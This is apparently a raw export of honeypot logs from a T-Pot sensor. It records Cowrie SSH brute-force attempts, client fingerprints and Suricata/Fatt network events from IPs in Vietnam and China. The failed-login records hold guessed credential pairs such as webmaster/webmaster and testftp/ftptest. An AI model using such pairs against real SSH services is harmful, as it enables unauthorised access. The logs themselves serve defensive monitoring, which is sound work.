21789	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:27.803853+03	2021-09-20 14:15:04.107612+03	{"_id": "0AXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [webmaster/webmaster] failed", "session": "62c21894c061", "@version": "1", "password": "webmaster", "username": "webmaster", "timestamp": "2021-09-20T11:06:27.803853Z", "@timestamp": "2021-09-20T11:06:27.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21790	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.809658+03	2021-09-20 14:15:04.108614+03	{"_id": "0QXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [testftp/ftptest] failed", "session": "d4888ec67dea", "@version": "1", "password": "ftptest", "username": "testftp", "timestamp": "2021-09-20T11:06:27.809658Z", "@timestamp": "2021-09-20T11:06:27.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21791	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:27.810467+03	2021-09-20 14:15:04.109612+03	{"_id": "0gXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "5e36015ef099", "@version": "1", "duration": 4.401529312133789, "timestamp": "2021-09-20T11:06:27.810467Z", "@timestamp": "2021-09-20T11:06:27.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21792	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.816284+03	2021-09-20 14:15:04.110613+03	{"_id": "0wXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [coach/coach] failed", "session": "1d00d8c31a3b", "@version": "1", "password": "coach", "username": "coach", "timestamp": "2021-09-20T11:06:27.816284Z", "@timestamp": "2021-09-20T11:06:27.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21793	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:27.849886+03	2021-09-20 14:15:04.112612+03	{"_id": "1AXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a2a5b97bfe65", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:27.849886Z", "@timestamp": "2021-09-20T11:06:27.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21794	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.905108+03	2021-09-20 14:15:04.113612+03	{"_id": "1QXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "54501d7af649", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:27.905108Z", "@timestamp": "2021-09-20T11:06:27.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21795	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:28.091141+03	2021-09-20 14:15:04.114612+03	{"_id": "1gXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "e63a7fa3aa45", "@version": "1", "duration": 3.032566547393799, "timestamp": "2021-09-20T11:06:28.091141Z", "@timestamp": "2021-09-20T11:06:28.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21796	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:28.716703+03	2021-09-20 14:15:04.116612+03	{"_id": "6AXiAnwBvYTbRNuExv7_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 760790830575658, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47246, "dest_port": 22, "timestamp": "2021-09-20T11:06:28.716703Z", "@timestamp": "2021-09-20T11:06:28.716Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21797	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:28.182523+03	2021-09-20 14:15:04.117612+03	{"_id": "6wXiAnwBvYTbRNuEx_7p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "54501d7af649", "@version": "1", "timestamp": "2021-09-20T11:06:28.182523Z", "@timestamp": "2021-09-20T11:06:28.182Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21798	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:28.363446+03	2021-09-20 14:15:04.118613+03	{"_id": "7AXiAnwBvYTbRNuEx_7p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "223.241.247.214", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.570065975189209, "duplicate": true, "timestamp": "2021-09-20T11:06:28.363446Z", "@timestamp": "2021-09-20T11:06:28.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
37235	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:19:37.8741+03	2021-09-20 15:30:03.399885+03	{"_id": "cAYlA3wBvYTbRNuEwGeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 20395, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2201394016245364, "@version": "1", "in_iface": "enp5s0", "src_port": 43753, "dest_port": 53, "timestamp": "2021-09-20T12:19:37.874100Z", "@timestamp": "2021-09-20T12:19:37.874Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
21799	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:28.450881+03	2021-09-20 14:15:04.119612+03	{"_id": "7QXiAnwBvYTbRNuEx_7p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [student/student] failed", "session": "b032e03f56c0", "@version": "1", "password": "student", "username": "student", "timestamp": "2021-09-20T11:06:28.450881Z", "@timestamp": "2021-09-20T11:06:28.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21800	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:28.487062+03	2021-09-20 14:15:04.120613+03	{"_id": "7gXiAnwBvYTbRNuEx_7p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a2a5b97bfe65", "@version": "1", "timestamp": "2021-09-20T11:06:28.487062Z", "@timestamp": "2021-09-20T11:06:28.487Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21801	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:27.905834+03	2021-09-20 14:15:04.122614+03	{"_id": "9wXiAnwBvYTbRNuEx_7s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40914, "timestamp": "2021-09-20T11:06:27.905834", "@timestamp": "2021-09-20T11:06:27.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21802	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:28.765564+03	2021-09-20 14:15:04.123614+03	{"_id": "8QXiAnwBvYTbRNuEx_7p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "45929a3d8d2b", "@version": "1", "timestamp": "2021-09-20T11:06:28.765564Z", "@timestamp": "2021-09-20T11:06:28.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-m